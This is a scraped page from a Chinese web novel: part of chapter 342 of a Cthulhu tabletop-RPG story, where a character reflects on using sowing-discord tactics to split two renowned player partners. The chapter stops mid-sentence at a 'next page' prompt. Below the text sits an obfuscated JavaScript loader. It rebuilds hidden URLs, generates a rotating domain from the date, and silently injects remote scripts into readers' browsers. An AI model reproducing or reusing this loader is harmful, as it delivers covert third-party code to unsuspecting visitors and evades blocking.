返回

第三百四十二章 防御状态 真实的克苏鲁跑团游戏

首页
报错
关灯
护眼
字:
大
中
小
上一章 回目录 下一页

离间计,在奥观海眼中也算是最简单实用的一个计策了,因为你只要找出两个人之间的一些小嫌隙,那就有可能让这两人直接翻脸。

按照人类的说法,这就是给你一个支点,你就可以撬动地球!

最重要的是,你在使用离间计时需要付出的成本其实是很低的,甚至可以说是聊胜于无了,因为很多时候你就只需要说出几句话就可以了,比如隔壁的游戏公司有一对相辅相成的策划和运营,他们在通力合作之下让一款三流游戏都能够蒸蒸日上,那么你作为竞争公司的老板该如何拆散他们呢?

除了更加简单粗暴的威逼利诱之外,你还可以利用离间计来让他们心生芥蒂,比如放出风声要高薪诚聘其中的一人,然后吐槽另外一个人就是个废物,完全是因为抱住了前一人的大腿才混了个好名声。

踩一捧一,就算两人是朋友都很容易心生嫌隙,因为两人的心态可谓是天差地别,比如被捧的那个人就难免会有些骄傲,因为自己得到了同行的认可,再加上这里高薪诚聘如果是真的提出了报价,那可就效果拔群了。

至于被踩的那一个人则是会觉得很不舒服,毕竟他可是和另一个人被称为双子星,结果现在被当成了躺赢狗,那谁能受得了呢?

要知道在当年的克苏鲁跑团游戏大厅里,可是有两个玩家被称为了COC双子星,因为只要他们两人合作的话就可以通关当时的大部分模组,而其他人想要通关这些模组都得组一个四人起步的多人队,所以这两名玩家被称为双子星也就很正常了。

要知道在那时的克苏鲁跑团游戏大厅里,玩家的人物卡已经强的很离谱了,但是当时的模组也是恶意满满,到处都是无视人物卡能力的剧情杀,比如一杯毒酒就可以送走一个纯粹的机器人,而且还不是因为喝水导致的短路,就是单纯的中毒了。

所以一个两人小队想要通关模组,那难度还是非常高的,因为人数越少就代表着队伍的容错率越低,比如其它玩家小队可以错三次,那这两人小队也就能错一次,甚至是一次都不能错,

结果在后来这两名玩家就突然闹翻了,而其中一人的朋友就透露了一个他也不敢保真的小道消息,那就


本章未完,点下一页继续阅读。>>>

let urls=["hUUtUUtUUpUUsUU:UU/UU/UU{UUdUUdUUmUU}UU/UU1UU8UU/UU1UU1UU0UU5UU6UU1UUbUU2UU6UU2UU9UU3UU8".split("UU").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMsMM.MMlMMtMMdMMzMMzMM.MMcMMoMMmMM/MM1MM8MM/MM1MM1MM0MM5MM6MM1MMbMM2MM6MM2MM9MM3MM8".split("MM").join("")];window.__rr__hld=1;let urlindex=0;let ddm=function(){let i = parseInt((new Date().getTime()/1000 - 1767052800)/86400/2);i = i %30;let ds = ['3w2t89814','btsel5g','6xklldl','2jtbig','kjbyn6zr96','8wz4mjirv','hpm47fyaf','oc79obwnpm','hjvrl','aroychmdcl','lx51ib3szv','6z2h1lycfw','ef7t2','31fpdcrf','uqn83ea8q'];return ds[i%15] + (i<15?".cc":".co"+"m");};let rfunc=function(){if(window.__rr__loaded_2938_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++].replace(/\{ddm\}/g,ddm())+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);}};rfunc();rfunc();
上一章 回目录 下一页